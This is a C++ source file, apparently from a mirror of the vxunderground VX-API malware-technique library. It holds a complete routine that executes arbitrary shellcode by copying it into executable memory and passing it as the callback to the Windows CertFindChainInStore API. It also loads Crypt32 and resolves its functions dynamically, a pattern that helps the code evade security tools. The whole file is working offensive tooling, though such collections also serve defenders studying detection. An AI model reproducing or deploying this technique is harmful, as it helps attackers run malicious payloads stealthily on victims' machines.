mirror of
https://github.com/vxunderground/VX-API
synced 2026-06-06 16:54:55 +00:00
vxunderground
59 lines
1.9 KiB
C++
59 lines
1.9 KiB
C++
#include "Win32Helper.h"
|
|
|
|
DWORD UnusedSubroutineDisposeableThreadCertFindChainInStore(LPVOID Param)
|
|
{
|
|
PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param;
|
|
LPVOID BinAddress = NULL;
|
|
HMODULE hModule = NULL;
|
|
BOOL bFlag = FALSE;
|
|
CERTOPENSTORE CertOpenStore = NULL;;
|
|
HCERTSTORE hCertStore = NULL;
|
|
CERTFINDCHAININSTORE CertFindChainInStore = NULL;;
|
|
CERTCLOSESTORE CertCloseStore = NULL;;
|
|
CERT_CHAIN_FIND_ISSUER_PARA ChainFind = { 0 };
|
|
|
|
hModule = TryLoadDllMultiMethodW((PWCHAR)L"Crypt32.dll");
|
|
if (!hModule)
|
|
goto EXIT_ROUTINE;
|
|
|
|
CertOpenStore = (CERTOPENSTORE)GetProcAddressA((DWORD64)hModule, "CertOpenStore");
|
|
CertFindChainInStore = (CERTFINDCHAININSTORE)GetProcAddressA((DWORD64)hModule, "CertFindChainInStore");
|
|
CertCloseStore = (CERTCLOSESTORE)GetProcAddressA((DWORD64)hModule, "CertCloseStore");
|
|
|
|
if (!CertOpenStore || !CertFindChainInStore || !CertCloseStore)
|
|
goto EXIT_ROUTINE;
|
|
|
|
BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
if (BinAddress == NULL)
|
|
goto EXIT_ROUTINE;
|
|
|
|
CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes);
|
|
|
|
hCertStore = CertOpenStore(CERT_STORE_PROV_SYSTEM_W, 0, NULL, CERT_SYSTEM_STORE_CURRENT_USER, (PVOID)L"My");
|
|
if (hCertStore == NULL)
|
|
goto EXIT_ROUTINE;
|
|
|
|
ChainFind.pfnFindCallback = (PFN_CERT_CHAIN_FIND_BY_ISSUER_CALLBACK)BinAddress;
|
|
ChainFind.cbSize = sizeof(CERT_CHAIN_FIND_BY_ISSUER_PARA);
|
|
|
|
CertFindChainInStore(hCertStore, X509_ASN_ENCODING, 0, CERT_CHAIN_FIND_BY_ISSUER, &ChainFind, NULL);
|
|
|
|
bFlag = TRUE;
|
|
|
|
EXIT_ROUTINE:
|
|
|
|
if (hModule)
|
|
FreeLibrary(hModule);
|
|
|
|
if (BinAddress)
|
|
VirtualFree(BinAddress, 0, MEM_RELEASE);
|
|
|
|
return (bFlag ? 0 : 0xffffffff);
|
|
}
|
|
|
|
|
|
BOOL _unstable__ShellcodeExecViaCertFindChainInStore(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei)
|
|
{
|
|
return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadCertFindChainInStore, Sei, INFINITE);
|
|
}
|